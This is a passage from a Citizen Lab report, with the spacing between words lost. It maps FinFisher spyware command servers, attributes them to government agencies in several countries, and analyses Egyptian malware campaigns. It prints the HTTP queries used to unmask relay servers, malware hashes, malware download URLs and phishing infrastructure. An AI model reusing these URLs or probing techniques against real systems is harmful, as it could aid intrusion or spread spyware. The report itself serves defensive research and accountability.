Thus,inmanycases,thepagesreturnedbytheFinSpyRelayscontainlocationdataapparentlyaboutthe FinSpyMaster(e.g.
,certainGoogleandYahoopagesembedtherequestersIPaddressorlocalizedweather),whichcan revealthelocationofFinSpyMasters.
OkayGoogle,WhatismyIP?
WenoticedthatwhenweissuedaquerylikeWhatismyIPaddress?toaGoogledecoyFinFisherserver,theserverwould respondwithadifferentIPaddress.
Inthecasebelow,aFinFisherserver206.190.159.xxx(locatedintheUnitedStates)reported thatitsIPaddresswastheIndonesianIP112.78.143.xxx,whichmatchesaFinFisherserverfirstdetectedinAugust2012by ClaudioGuarnieri.11Wehypothesizethat206.190.159.xxxisaFinFisherproxy,designedtoobscurethelocationoftheFinFisher master,whichisat112.78.143.xxx.
https://citizenlab.org/wp-content/uploads/2015/10/image04.png 4/10/2016 Mapping FinFishers Continuing Proliferation Figure2:AFinFisherserverintheUSseemstobeaproxyforamasterinIndonesia.
Specifically,wesentqueriesoftheform: GET /search?qmyipaddressnord1 HTTP/1.1 Host: [ip of server] User-Agent: Mozilla/5.0 (Windows NT 6.1 rv:38.0) Gecko/20100101 Firefox/38.0 Figure3:QuerieswesenttoGoogledecoyFinFisherserverstorevealtheIPaddressofthemaster.12 ThefactthatFinFisherproxiescanapparentlyrevealtheIPofthemasterisquitepeculiar.
Weillustratebelowhowwebelievea querylikeWhatismyIPaddress?isroutedthroughFinSpyRelaystotheFinSpyMaster: Figure4:HowwebelieveaWhatismyIPaddress?queryisroutedthroughFinSpyRelaystoaFinSpyMaster.
ItappearsthattheWhatismyIPAddress?queryisdeliveredfromourMeasurementMachinebytheFinSpyRelaytothe FinSpyMaster,andthensubmittedtoGooglebytheFinSpyMaster.
Therefore,GooglereturnstheIPaddressoftheFinSpy Master,whichisthensentbacktotheMeasurementMachineviatheFinSpyRelay.
HowstheWeatherinCaracas?
AsignificantnumberofFinFisherserverswedetectedusedwww.yahoo.comastheirdecoypage.
Whilewewereunabletodevise amethodtofindtheexactIPaddressofYahoodecoyFinFisherendpoints,wewerestillabletoretrievelocationinformationfrom Yahoo,byexaminingtheuserLocationobjectinthedecoypagessourcecode.
Yahooutilizesauserslocationtocustomize severalelementsofYahooshomepage,includingweatherandnews.
4/10/2016 Mapping FinFishers Continuing Proliferation Figure5:WeatherconditionsinCaracasreturnedbyaFinFisherserverinLithuania.
TheuserLocationobjectreturnedby185.8.106.xxx(locatedinLithuania)isshownbelow: userLocation: woeid:395269, zip:Caracas, city:Caracas, state:Distrito Federal, country:Venezuela, countryCode:VE, ... Figure6:AFinFisherserverinLithuaniaseemstobeaproxyforamasterinVenezuela.
TheuserLocationobjectallowsustoobtaincityandcountryinformationforFinFisherendpoints,thoughwecannotdeterminetheir preciseIPaddress.
WeissuedaquerysimilartothefollowingtoeachYahoodecoyFinFisherservertoobtainapagewiththe userLocationobject: GET https://www.yahoo.com/ HTTP/1.1 Host: www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 6.1 rv:38.0) Gecko/20100101 Firefox/38.0 Figure7:QuerieswesenttoYahoodecoyFinFisherserverstorevealthelocationofthemaster.13 SinceYahoo,likeGoogle,implementsSSLredirectionbydefault,wehadtodeviseamethodtotalktoYahooinplainHTTP.While Googleprovidesthenord1URLparametertoavoidSSLredirection,Yahooapparentlydoesnothaveananalogouspublicized solution.
However,wefoundthatbysendingplainHTTPGETrequeststotheresourcehttps://www.yahoo.com/wecould communicatewithwww.yahoo.cominplainHTTPwithouttriggeringSSLredirection.
OtherDecoys WhilethemajorityofFinFisherserverswedetectedusedeitherGoogleorYahooasadecoypage,weidentifiedanumberofother serverswhoseoperatorshadapparentlycustomizedthedecoypagetoadifferentURL.
OneserverusedtheItaliannewssourcelibero.itasadecoy.
Wenotedthatlibero.itsetstheLiberocookie,whichcontainstheIP addressofthecomputerthatvisitedthelibero.itwebsite.
Whenaccessing185.8.106.xxx,theLiberodecoyFinFisherserver,the cookiewassettoincludetheItalianIP93.146.250.xxx.14ServersthatwetracedtoMacedoniausedMacedoniannewsmagazine time.mkasadecoy.
ServerswetracedtoTaiwanusedTaiwanesewebportalpchome.com.twasadecoy.
Wewereunableto traceotherserverswhichusedfiledownloadsitefilehippo.comasadecoy.
Ahandfulofotheruntraceableserversreturned customHTMLcodeasadecoy(e.g.
,awebpagewithaMETAredirecttowww.google.com).
GeneralComments Thisdesignpeculiarityisonlythelatestinstanceoffingerprintableanomaliesinspywaredecoypages.
FinFishercompetitor HackingTeamformerlyuseddecoypagesonitsCCserverforRemoteControlSystem(RCS),butapparentlyremovedthem15 afterourresearchrevealedthatanomaliesinthedecoypagescouldbeusedtofingerprintRCSservers.16Wehavealsopreviously useddecoypagestofingerprintFinFisherservers.17WebelievethatFinFisheroritsclientsmayalsoberealizingthatdecoypages areproblematic,aswehaveobservedfewerFinFisherserversreturningdecoypagesovertime.
Part2:CountryFindings 4/10/2016 Mapping FinFishers Continuing Proliferation Part2:CountryFindings Inthissection,weprovidealistoflikelyFinFishergovernmentusersidentifiedbyourscans,andalsomapoutwhichFinSpyrelays servewhichFinSpyMasters.
Below,weidentify33likelygovernmentusersofFinFisherin32countries,basedonthepresenceofaFinFishermasteratanIP addressinacountry18orbelongingtoaspecificgovernmentdepartment.
Figure8:SuspectedFinFishergovernmentusersthatwereactiveatsomepointin2015.
Inpresentingourscanresults,wedonotwishtodisruptorinterferewithlegitimatelysanctionedinvestigationsorother activities.
Instead,wehopetoensurethatcitizenshavetheopportunitytoholdtheirgovernmentstransparentandaccountable.
To thisend,weidentifygovernmentusers,butredactcertaindetailswehavediscoveredabouttheirinfrastructurewhosedisclosure mightinterferewithlegitimatelysanctionedactivities.
RedacteddetailsincludethelastoctetofliveIPaddresses,andpartoflive domainnames.
AppendixAcontainsafulllistofcountriesandservers.
Country Specificentityifknown Angola Bangladesh DirectorateGeneralofForcesIntelligence(DGFI) Belgium FederalPolice BosniaandHerzegovina CzechRepublic Egypt TechnologyResearchDepartment(TRD) Ethiopia Gabon Indonesia 1.NationalEncryptionBody(LembagaSandiNegara) 2.Unknownotherentities Italy Unknownmultipleentities Jordan Kazakhstan https://citizenlab.org/wp-content/uploads/2015/10/image00.jpg 4/10/2016 Mapping FinFishers Continuing Proliferation Kenya NationalIntelligenceService(NIS) Lebanon 1.GeneralDirectorateofGeneralSecurity 2.InternalSecurityForces(ISF) Macedonia Malaysia Mexico Mongolia SpecialStateSecurityDepartment(SSSD) Morocco 1.ConseilSuperieurDeLaDefenseNationale(CSDN) 2.Unknownotherentities Nigeria Unknownmultipleentities Oman Paraguay Romania SaudiArabia Serbia SecurityInformationAgency(BIA) Slovenia Spain Taiwan Turkey Turkmenistan Venezuela SouthAfrica ThefollowingisalistofcountrieswhereneitherourpreviousresearchnordocumentsdisclosedbyWikileaks19hadpreviously foundevidenceofaFinFisherdeployment:Angola,Egypt,Gabon,Jordan,Kazakhstan,Kenya,Lebanon,Morocco,Oman, Paraguay,SaudiArabia,Slovenia,Spain,Taiwan,Turkey,andVenezuela.
Inthediagrambelow,wemapoutFinFisherproxynetworks:theFinSpyRelayserverswefound,andtheFinSpyMasterstowhich welinkedthem: 4/10/2016 Mapping FinFishers Continuing Proliferation Figure9:LinksweestablishedbetweenFinSpyRelaysandFinSpyMasters.
GivenpreviousreportsthatobservedweaknessesincertaincryptographythatFinFisherusestotransmitinformationfroman infecteddevicetotheFinSpymaster,20locatingFinFishercollectioninfrastructureinanothercountrycouldpotentiallyinvoke concernsaboutfourthpartycollection,whereagovernmentcollectsdatacollectedbyanothergovernmentssurveillance operation.
Wehavealsopreviouslyidentifiedpotentiallegalconcernsregardinglocatingrelaysinothercountries.21 AttributiontoSpecificEntities WeattributedsomeFinFisherMasterserverstospecificgovernmententitiesbycorrelatingourscanresultswithpubliclyavailable data,includingemailsfromFinFisherscompetitorHackingTeam.
Thissectionbrieflydescribeshowweidentifiedtheseentities, andsummarizeswhatispubliclyknownabouttheirfunctions.
Whilewedonotprovideavignetteforeachcountrywherewehave identifiedFinFisher,wenotethatanumberofcountrieshavedubiousorproblematichistoriesofoversightofthesecurityservices.
Bangladesh DirectorateGeneralofForcesIntelligence(DGFI) OurinvestigationuncoveredaFinFisherserveratanIPaddressinthesame/30asthemailserverforBangladeshsDGFI, [redacted].dgfi.gov.bd.
Additionally,leakedHackingTeamemailsclaimthatBangladeshsDGFIisaFinFishercustomer.22 Establishedin1976,theDirectorateGeneralofForcesIntelligence(DGFI)isBangladeshsmilitaryintelligenceagency.
Thedirector oftheagencyholdstherankofLieutenantGeneralorMajorGeneralanddirectlyreportstothePrimeMinister.23Inareport publishedin2008,HumanRightsWatchassociatedtheDGFIwithlongstandinghumanrightsviolations(e.g.
,tortureand extrajudicialkillings)andthestiflingofpoliticaloppositioninthecountry.24 TheUSStateDepartmenthasreportedthattheDGFIhaspreviouslyconductedsurveillanceoncitizensfortheircriticismofthe government.25LeakedemailsshowthatDGFIofficialswereengagedindiscussionswithFinFisherscompetitorHackingTeamin June2014.26 Belgium FederalPoliceService OurinvestigationfoundaFinFisherserverina/28assignedtoBelgacom,denotedSKY5904592/SOCC2131136.This rangeofIPaddressesalsocontainedseveralserversreturningSSLcertificatesissuedbyandtoFederalPolice.
TwoIP 4/10/2016 Mapping FinFishers Continuing Proliferation addressesinthisrangewerealsopointedtobytwosubdomainsofraspol.be,adomainnameregisteredtoMassimo Moschettini/ISRDNTSU/PoliceFdrale.
BelgiumsFederalPoliceServicewasestablishedinJanuary2001.TheagencyisheadedbyaGeneralCommissionerwho coordinatestheworkoffivegeneraldirectorates,includingadministrativepolice,judicialpolice,operationalsupport,logistics,and humanresources,aswellasseveraldepartmentsthatreportdirectlytohim/her.27LeakedHackingTeamemailshaverevealedthe companysparticipationinatenderfortacticalinterceptionofcommunicationsviacomputersystemsbytheBelgianFederal Police.28 Serbia SecurityInformationAgency(BIA) OurinvestigationfoundaFinFisherserverinthesame/26asbia.gov.rs,thewebsiteofSerbiasSecurityInformationAgency (BIA).Theserverwasalsointhesame/28asacomputerthatidentifieditselftoShodanasDPRODANPC.29Accordingto theleakedHackingTeamemails,apersonwiththeemaildprodanopen.telekom.rscontactedHackingTeaminreferenceto aFebruary8,2012demoinBelgrade.30FromFebruary79,2012,HackingTeamwasinBelgradetogiveademotoa potentialclient,VladimirDjokic,whoworkedfortheBIAaccordingtohisemailaddressvladimirdjbia.gov.rs.31Thus,we believedprodanisalsoaBIAemployee,andtheFinFisherserverwefoundbelongstotheBIA.
SerbiasSecurityInformationAgency(BIA)wascreatedin2002bytheLawontheSecurityInformationAgency.
BIAisacivil nationalsecurityserviceandapartofthesecurityintelligencesystemoftheRepublicofSerbia.32 WhiletheBIAisgenerallyregardedasoperatingwithappropriateoversightandasbeingfreefrommajorabuses,someelementsof itselectronicsurveillancepracticeshavebeenchallenged.
Priorto2014,theLawontheSecurityInformationAgencywas consideredtobenotincompliancewiththeconstitution.
In2012,aconstitutionalcourtstruckdownseveralprovisionsoftheLawon theSecurityInformationAgency,rulingthatArticles13,14and15oftheLaw,whichgovernthewiretappingofprivate communications,wereunconstitutional.33ThecourtruledthattheseArticleswerenotformulatedclearlyandpreciselyenoughand thatcitizensarethuspreventedfromascertainingwhichlegalrulewillbeappliedinthegivencircumstancesandarethusdeprived ofthepossibilitytoprotectthemselvesfrominadmissiblerestrictionsoftheirrightorarbitraryinterferenceintheirrighttorespectof theirprivatelifeandcorrespondence.34Further,measuresrelatedtotheabilityoftheBIAsDirectortoauthorizewiretappingin somecircumstanceswithoutacourtorderwerealsochallenged.35Thecourtdelayeditsdecisioninordertogivelegislatorsthe opportunitytorevisetheoffendingArticlesintheLaw.36TheamendmentstotheLawwereadoptedinJune2014.37While acknowledgedasapositivestep,theseamendmentshavebeencriticizedasremaininginsufficienttofullydemocratize surveillancethatiscarriedoutbytheBIA.38 LeakedemailsindicatethatmembersoftheSecurityInformationAgencyandtheMinistryofDefenseengagedinpurchase negotiationswithFinFisherscompetitorHackingTeam.39 Egypt TechnologyResearchDepartment WefoundaFinFisherserveratIPaddress62.114.252.xxx.
WealsofoundanemailintheleakedHackingTeamemailsthat, accordingtotheheaders,wassentfromthesameIPaddress.40TheemailwassentbyHackingTeamemployeeDavide RomualdionJune25,2015,whenhewasscheduledtobeperformingdelivery41inEgyptforHackingTeamcustomer TREVOR,identifiedastheTRD42(TechnologyResearchDepartment).43Thus,webelievetheemailwassentfromthe premisesoftheTRD,andtheIPaddress62.114.252.xxxbelongstotheTRD.
EgyptstroublinghumanrightssituationhascontinuedtodeteriorateunderPresidentAbdelFattahalSisi.
Inrecentyears,casesof massarrests,significantviolenceagainstprotestersanddueprocessviolationshaveincreased.44NumerousEgyptiansecurity agenciesarepermittedtoconductelectronicsurveillance,frequentlywithlimitedcourtoversight.
Insomes,personaldata improperlycollectedfromcivilsocietyactorshasledtotheirarrestandimprisonment.45Whilethereislimitedopensource informationavailableabouttheactivitiesoftheTechnologyResearchDepartment,wecloselyexamineamalwarecampaignlinked toTRDinfrastructureinPart3ofthisreport.
4/10/2016 Mapping FinFishers Continuing Proliferation Indonesia NationalEncryptionBody(LembagaSandiNegara) TwooftheFinFisherserverswefoundinIndonesiawereinthesame/28.WefoundanIPaddressinthissame/28included intheheadersofanemailsentbyaHackingTeamemployee46whilehewasinIndonesia47performingademoforthe NationalEncryptionBody.
Theemailwassentat12:39PMJakartatimeonFebruary6,2013,andameetingattheagency wassetfor10:00AMonthesameday.48Thus,itseemsprobablethattheemailwassentfromthepremisesoftheNational EncryptionBody,andthatthetwoFinFisherserversbelongtothesameorganization.
TheNationalEncryptionBodyisanagencyheadedbyadirector,whohasthesamestatureasaministerandreportsdirectlytothe President.
Inarecentinterview,theBodyscurrentdirector,MajorGeneralDjokoSetyadi,describestheagencysresponsibilitiesas, amongothers,securingstatesecretsanddecrypting/decodingcommunicationfromwouldbeterrorists.49 ThethreatofterrorismisaconcernforIndonesia.
Severalbombingincidentshaveoccurredinthecountry,includingtwoWestern hotelsinthecapitalcityofJakartain2009.AstheworldslargestMuslimmajoritycountry,theemergenceoftheIslamicStateof IraqandtheLevant(ISILorISIS)hasalsoresultedinconcernsthattheirmilitantideologywillgainground.
Itisbelievedthatas manyas200IndonesiancitizenshaveheadedtoSyriatofightwithISIS.50ChallengesfromrestiveregionslikePapuaandCentral Sulawesiarealsoongoing.
Therearefearsthatthefightagainstthesethreatsmaybeusedasjustificationtoperpetratehuman rightsabuses,suchastotargetothersfortheirreligiousorpoliticalbeliefsandtokillsuspectedmilitantsunlawfully.
In2013CitizenLabreport,weidentifiedatleasttwelvelaws,twogovernmentregulations,andtwoministerialregulationsthat governwiretappingandinterceptioninIndonesia.
Althoughwiretappingandinterceptionarehelpful,andsometimeseven necessarytoexposecrimessuchasterrorism,drugtraffickingandcorruption,thelackofcomprehensivelegislationregulatingtheir useinIndonesiameansthatthereisanincreasedriskformisuseandprivacyviolations.51 Kenya NationalIntelligenceService WefoundaFinFisherserverinarangeofIPaddressesregisteredtoaKenyanusernamedNationalSecurityIntelligence.
KenyasNationalIntelligenceService(NIS)wasformerlyknownastheNationalSecurityIntelligenceService(NSIS).
KenyasNSISreplacedtheformerDirectorateofSecurityIntelligence(DSI),commonlyknownastheSpecialBranch.52TheNISis knownasoneofKenyassecurityinstitutionswiththebiggestbudgetaryallocationalongwiththeKenyaNationalDefenceForces andtheNationalPoliceServiceandconsideredtobeamongthecountryscriticalsecurityorgansinthenewconstitution.53In 2014,HumanRightsWatchnamedtheNIS,aswellastheAntiTerrorismPoliceUnitandotherKenyanintelligenceagencies,as beingimplicatedinabusesincludingtorture,disappearances,andextrajudicialkillings.54 ThepowersoftheNISwereexpandedsignificantlyinDecember2014whentheParliamentofKenyarushedtopassthe controversialSecurityLaws(Amendment)Bill.55Theamendmentscamefollowingaseriesofdeadlyterroristattacksbythemilitant groupalShabab,includingthe2013killingof67peopleattheWestgateshoppingmallinNairobi.56Thisbillexpandedthepowers oftheNIStomonitorcommunicationswithoutawarrant,aswellasexpandingtheirpowerstosearchandseizeprivateproperty.57 Article62oftheamendedbillauthorizedNISagentstodoanythingnecessarytopreservenationalsecurityandtodetain individualsonsimplythesuspicionofengaginginactswhichposeathreattonationalsecurity.58Section66ofthebillamendedthe NationalIntelligenceServicesAct,permittingtheDirectorGeneraloftheNIStomonitorcommunicationsorobtainanyinformation, material,record,documentorthinginordertoprotectnationalsecurity,withoutcourtoversight,leadingrightsorganizationArticle 19toarguethattheamendmenteffectively[gives]carteblanchetotheDirectorGeneraltoordermasssurveillanceofonline communications.59WhileacourtrulinginFebruary2015struckdownsomeprovisionsoftheamendment,theprovisions enhancingthepowersoftheNISremained.60 Lebanon GeneralDirectorateofGeneralSecurity WefoundaFinFisherserverinarangeofIPaddressesregisteredtoaLebaneseusernamedGeneral_Security.
We 4/10/2016 Mapping FinFishers Continuing Proliferation assumethatGeneral_SecurityisareferencetotheGeneralDirectorateofGeneralSecurity.
LebanonsGeneralDirectorateofGeneralSecuritywasestablishedin1921underDecreeNo.1061.61ThefunctionsoftheGeneral Securityincludecollectingandgatheringintelligence,monitoringthemedia,andissuingpassportsandtraveldocumentsto Lebanesecitizens.62TheorganizationiscategorizedasageneraldirectorateunderthesupervisionoftheMinistryofInternal Affairs.63 AlthoughLebanonhaslegislation(LawNo.140)whichestablishessafeguardsandoversightprotectingelectroniccommunications fromunlawfulsurveillance,thereisasystemicpracticeofthislawbeingignored.64PrivacyInternationalhascriticizedthe surveillancepracticesofLebanonsintelligenceagencies,suggestingthattheagencies,includingtheGeneralDirectorateof GeneralSecurity,operatewithoutsufficientindependentoversight,andthatalackoftrustbetweendifferentagenciesleadsthe groupstooperatetheirownoperationsoutofviewoftheMinistryoftheInterior.65Controversiessurroundinggovernment surveillancepracticeshavebecomeparticularlysalientinthewakeofseveralrecenthighprofileassassinations,includingthe2005 killingofPrimeMinisterRafikHariri.
Organizationsinvestigatingtheassassinationshavehadunregulatedaccesstothedataof privatecitizens,includingmobilephonerecords,whichraisesprivacyconcerns.66 InternalSecurityForces WefoundaFinFisherserverataLebaneseIPaddressthatwasformerlypointedtobywhatwasapparentlyamailserverwith domain[redacted].intelligence.isf.gov.lbin2012.WeassumethattheIPstillbelongstotheInternalSecurityForces(ISF).
TheInternalSecurityForces(ISF)arethenationalpoliceandsecurityforceofLebanon.
TheISFscreationwasmandatedby Decree138in1959.67Throughoutitshistory,theISFhashadatroubledrecordofhumanrightsabuses,inspiteofrecenteffortsto promoteproperconductwithintheorganization.
InconsultationwiththeUNHumanRightsOffice,theISFadoptedaJanuary2012 codeofconductdesignedtoensuretheforcesoperationsguaranteedrespectforhumanrightsandpublicfreedoms,including refrainingfromresortingtotorture,cruel,inhumaneanddegradingtreatment.68However,anumberofincidentsinrecentyears havecalledintoquestionstheeffectivenessofthiscodeofconduct.
AnextensiveHumanRightsWatchreportin2013detaileddozensofinstancesofvulnerableindividualssubjecttophysicalabuse, tortureandsexualassaultatthehandsofISFofficials.69InJune2015,fiveISFofficerswerearrestedaftervideosreleasedon socialmediashowedtheofficersbeatingprisoners.70TheISFandotherstateagencieshavesummonedandquestionedbloggers, journalists,andactivistsoversocialmediaandblogpostscriticalofpoliticians.71 TheorganizationalsohasahistoryofoverreachinthecollectionofLebanesecitizensprivateuserdata.
In2012,itwasreported thattheISFhadrequestedthattheMinistryofTelecommunicationsturnoverthecontentofallSMStextmessagessentoveratwo monthspanforallusersinLebanon,followedlaterbyarequestforLebaneseuserslogincredentialsforBlackBerryMessenger andFacebook.72TherequestwasmadefollowingtheassassinationoftheISFsInformationBranchheadWissamalHassan,and wasrejectedbytheMinistry.73 Morocco ConseilSuperieurDeLaDefenseNationale(CSDN)/SupremeCouncilofNationalDefense WefoundaFinFisherserverinarangeofIPaddressesregisteredtoaMoroccanusernamedConseilSuperieurDeLa DefenseNationale.
Weassumethatthisisareferencetotheeponymousagency.
ThereislimitedopensourceinformationavailableabouttheactivitiesoftheCSDN.LeakedHackingTeamemailsindicatethatthe CSDNamongotherMoroccanGovernmentagencieswasacustomerofFinFisherscompetitorHackingTeam.
In2012,spywarefromHackingTeamwasusedagainstMamfakinch,anawardwinninggroupofMoroccancitizenjournalists.74 PrivacyInternationalreleasedareportdetailingtheimpactofsurveillanceonthegroup,aswellasotherpoliticalactivistsand journalists.75 Mongolia StateSpecialSecurityDepartment(SSSD) 4/10/2016 Mapping FinFishers Continuing Proliferation WefoundaFinFisherserverataMongolianIPaddressinthesame/28asanIPaddresspointedtobythedomain td.sssd.mn.
WebelievethatSSSDisareferencetotheMongolianagencyofthesamename.
Wealsofoundwhat appearstobeatestordemonstrationFinFishersample,whosebaitcontentincludesemailsapparentlybetweenGamma GroupandMongoliasSSSD,discussingavisitbyGammapersonneltoMongolia.
ThereislimitedopensourceinformationavailableabouttheSSSDhowever,leakedemailsfromthespywarefirmHackingTeam indicatethatin2012thecompanywasincontactwithmembersoftheSSSD.76Additionalleakedemailsfrom2013indicatethat HackingTeamscheduledaproductdemonstrationwiththeSSSDinApril2013.77 Part3:ADeeperAnalysisofSeveralCases Thefollowingsectionprovidesadditionaldetailsforseveralcountries Egypt:UseofFinFisherilluminatesconnectionsbetweendifferentgroups WenotedaninterestingconnectionbetweenEgyptsTechnologyResearchDepartment(TRD)andtwoothermalwaregroupsinthe region:MOLERATS,andanasyetuncharacterizedgroup.
WehavepreviouslyobservedbothgroupstargetingUAEbased activists.
MOLERATSAttackswithFinFisher WefoundanEgyptFinFishersample,Egyptian_army.rar,hostedongoogle.wwwhost.biz.
SHA256: 1610fc805f980f5c70cec8e138ba800b01ebc86919f42b375cfb161ce6365a48 Filename: Egyptian_army.rar Extractingthe.rarfileyieldsan.exefile.
SHA256: 94abf6df38f26530da2864d80e1a0b7cdfce63fd27b142993b89c52b3cee0389 Filename:         .exe Thenameofthe.exefilepromisespicturesofJordanianAirForcepilotburnedalivebyISIS,apopularnewsstoryatthetime.
Wesuspectthatthedomainnamegoogle.wwwhost.bizislinkedtoMOLERATS,athreatactoractiveintheMiddleEastregion thatappearstoengageinpoliticallymotivatedtargeting.
Wedescribethelinkbelow: google.wwwhost.bizhadIPaddress200.74.241.111atthesametimeasinfo.dynamicdns.net,whichalsohadIP address192.161.48.59,sharedwithupdate.ciscofreak.com,whichalsohadIPaddress162.220.246.117.ThisIPaddress islinkedtoseveralknownMOLERATSdomains,likenatco1,2,3,4,5.noip.net,78anduae.kim.79 google.wwwhost.bizalsohostedtwoDarkCometsamples,whichcommunicatedwithr.ddns.me,whichsharedIPaddress 198.105.125.158witha.ddns.me,whichsharedIPaddress23.229.3.37withMOLERATSdomaintest.cable modem.org.80 google.wwwhost.bizalsohostedaGMailphishingpage,64c1ef8e0923bf44aaa96caeb28a6c11,alsohostedby googlecombq6xx.ddns.net,whichsharedIPaddress131.72.136.28withtvnew.otzo.com,whichsharedIPaddress 172.227.95.162withseveralknownMOLERATSdomains,likenatco1,2,3,4.noip.net,81anduae.kim.82 google.wwwhost.bizservedaHotmailphishingpage,57ab5f60198d311226cdc246598729ea,alsoservedby google.com.r3irv2ykn0qnd7vr7sqv7kg2qho3ab5tngl5avxi5iimz1jxw9pa9.uae.kimuae.kimisaknownMOLERATS domain.83 AsignificantportionofMOLERATSbaitcontentwehaveobservedindicatestargetingofIsraelandpoliticalIslamgroupslike Hamas.
ThisMOLERATSactivitycouldbeaccountedforbyanynumberofintelligenceagenciesactiveintheregion,ora Palestinianfaction,butitisalsopossiblethatMOLERATSisamultifacetedgroupwithseveralinterestsand/orclients.
ThatMOLERATSapparentlyusedspywarelinkedtotheTRDsuggestsapossibleconnectionbetweentheTRDandMOLERATS.
TheCuriousCaseoftheSharedExploit 4/10/2016 Mapping FinFishers Continuing Proliferation WeidentifiedthefollowingWorddocumentuploadedtoVirusTotal: SHA256: 22deea26981bc6183ac3945da8274111e7fd7a35fbb6da601348cc6d66240114 Filename:   .doc Thedocument,whosenametranslatestoAHighlyClassifedReportdownloadsaFinFishersamplefrom http://workingulf.net/DFServ.exe.
SHA256: e2ecf89a49c125e0b4292645a41b5e97c0f7bf15d418faeac0d592205f083119 Filename: DFServ.exe Thesamplecommunicateswith50.31.252.xxxand95.170.82.xxx,whichareproxiesfor62.114.252.xxx,theFinFisherMasterwe associatedwithEgyptsTRD.Thedomainworkingulf.netappearstobeconnectedtotheTRD,becauseitislinkedtoaclusterof otherdomains,severalofwhichwereusedtodistributeTRDFinFishersamples.
Wedevelopedafingerprintfortheexploit,basedonthepresenceofa1.1MBbinaryembeddedintheWordDocument.
Aweek later,weidentifiedanotherinstanceofthissameexploit(thebinarywasthesame).
SHA256: d759dcbebee18a65fda434ba1da5d348c16d9d3775fe1652a1dacf983ffc93b8 Filename: .doc Thisinstancedownloadedspywarefromhttp://wp.piedslibres.com/wp/wpincludes/js/Next.scr,whichappearedtobeahacked WordPresssite.
SHA256: 08b32da8995ae094bfb703d7d975c3816cf04c075c32281e51158164d76cd655 Filename: Next.scr Next.scrisabespokemalwarethatexfiltratessysteminformationandfilesviaemail.
Themalwarelogsintoanemailaccounton theCCserverviaSMTP,andsendsmailtoanotheraccountonthesameserver.
WehaveseenCCsincluding:pal4u.net, pal2me.net,andshop8d.net.
Allofthedomainshavesimilarregistrantinformation,indicatingtheworkofasinglegroup.
ThegroupappearstobebasedinPalestine.
TheuseofasharedexploitsuggestssomelinkbetweentheTRDandthisgroup.
FinFlyWebintheWild Wetracedworkingulf.net,toanumberofotherdomainnames,includingnewsyoum7.com(seeFigure10below).
4/10/2016 Mapping FinFishers Continuing Proliferation Figure10:DomainnamesandIPaddressesthatwebelieveareassociatedwithEgyptsTRD.Weredactonlylivedomains andIPaddresses,andshowfulldetailsforinactiveones.
WefoundaFinFlyWebsampleathttp://videos.newsyoum7.com/youm7/videos/5671264.html.
FinFlyWebisaFinFisher productthatallowscustomerstocreateawebsitetoinfecttargetswithspyware.
WeidentifiedthesampleasFinFlyWebgiven substantialsimilaritywithleakedFinFlyWebcode.84 4/10/2016 Mapping FinFishers Continuing Proliferation Figure11:TheFinFlyWebpage,askinguserstoinstallAdobeReaderXI.ThedownloadlinkpointstoaFinFisherspyware sample.
TheFinFlyWebpageappearstohaveanumberofdeficiencies.
Theattackerappearstohavecopiedapagefromthewebsiteof EgyptiannewspaperYoum7,whichappearsinthebackgroundoftheAdobeReaderpopup.
Theattackerapparentlydidnotnotice thatthepathstotheCSSresourcesarerelative.
Thus,theattackpagetriestofetchCSSstylesheetsandimagesfromtheattack site,ratherthanthelegitimatepage.
Sincetheattackerneithercopiedtheseresourcestotheattacksite,norchangedtherelative pathstopointtothelegitimatesite,theattackpagelooksmalformatted.
Theattackermadethesamemistakewiththenewsticker IFRAME,resultingintheNotFoundmessageinthebackground.
Also,theattackerentitledthepageVideo:IslamicStateEnters Egypt,butcreatedapopuptoinstallAdobeReader,whichisAdobesproductforviewingPDFfiles.
Itislikelythattheattacker insteadwantedtocreateapopuptoinstallAdobeFlash,apluginforviewingwebvideos.
Additionally,thedownloadlinkpointstoa .rarfile,85whichissuspiciousasAdobedoesnotdistributeitsproductsin.rarfiles.
Finally,the.exeinsidethe.rarfileisnotmelded withtheAdobeReadersetupprogram,soavictimwhoexecutesthefilemaybecomesuspiciouswhennoAdobesetupprogram runs.
Italy:ShiftfromHackingTeamtoFinFisher?
WeidentifiedoneIPaddressinItaly(2.228.65.xxx)whichservedasaFinFisherserverfrom2014topresent.
Earlierin2014,and beforeourpublicationofourreportonHackingTeam,thesameIPaddressinsteadmatchedourfingerprintforHackingTeam spywareservers.
ThismightindicateanItaliangovernmentagencyswitchingfromHackingTeamtoFinFisher.
Oman:EagleEyeDigitalSolutionsLLC WefoundaFinFisherserverrunningonIPaddress37.139.27.xxx,whichispointedtobytwosubdomainsofto70.org,adomain 4/10/2016 Mapping FinFishers Continuing Proliferation nameassociatedwithanOmanicompanycalledEagleEyeDigitalSolutionsLLCthroughhistoricalWHOIS.Thedomainis currentlyregisteredtoOmantel,thelargesttelecominOman.
EagleEyeDigitalSolutionsLLCwasfoundedby,andisrunby, WarithAlMaawali.86LeakedemailsdescribeWarithaspartofOmansMinistryofInterior,aswellasaresellerofFinFisher products.87OthersitesapparentlyrunbyEagleEyeincludeamajorOmanionlineforum,oman0.net.
EagleEyefounderWarith AlMaawalisaystheforumisoneofthemostactivesiteswiththelargestuserbaseinOman.
AnarchivedversionofEagleEyeswebsiteontheWaybackMachineshowedElamanGmbHasoneoftheirpartners,andSecurity Organizationsastheirclients.
ElamanisknowntobearesellerofFinFisherproducts.88 Figure12:OldversionofEagleEyeswebsiteshowingFinFisherresellerElamanasapartner,andSecurity Organizationsasamongthefirmsclients.
Conclusion InthisreportweprovidedthefirstupdateonCitizenLabspreviousFinFisherscanningworksinceawidelydiscussed2014hackof FinFisher.
Despitethedisclosureofsensitivecustomerdatainthathack,89andthepotentialcustomerconcernsthismightcause, ourlatestscanshavedetectedFinFisherserversinmorecountriesthananypreviousroundofscanning.
FinFisherisstillbeingusedbyanumberofpreviouslyidentifiedgovernmentclients,includingEthiopia,whichisthedefendantinan ongoinglawsuitoverpreviousFinFisheruse.90Wehavealsoidentifiednewlyidentifiedsuspectedcustomers,including:Angola, Egypt,Gabon,Jordan,Kazakhstan,Kenya,Lebanon,Morocco,Oman,Paraguay,SaudiArabia,Slovenia,Spain,Taiwan,Turkey, andVenezuela.
WhilewemaynotbedetectingallFinFisherinstallations,thisreportsmethodsimprovedonbothourabilitytodetectinstallations, andtoattributeFinFisherserverstospecificgovernmentalcustomers,whomwenamed.
Akeygoalofthisresearchistoprovidea resourcetothoseworkingonpolicyandresearchinthisspace.
Wealsobelievethiskindofreportingisessentialtohelpensure thatcitizenshavetheopportunitytoholdtheirgovernmentsaccountable.
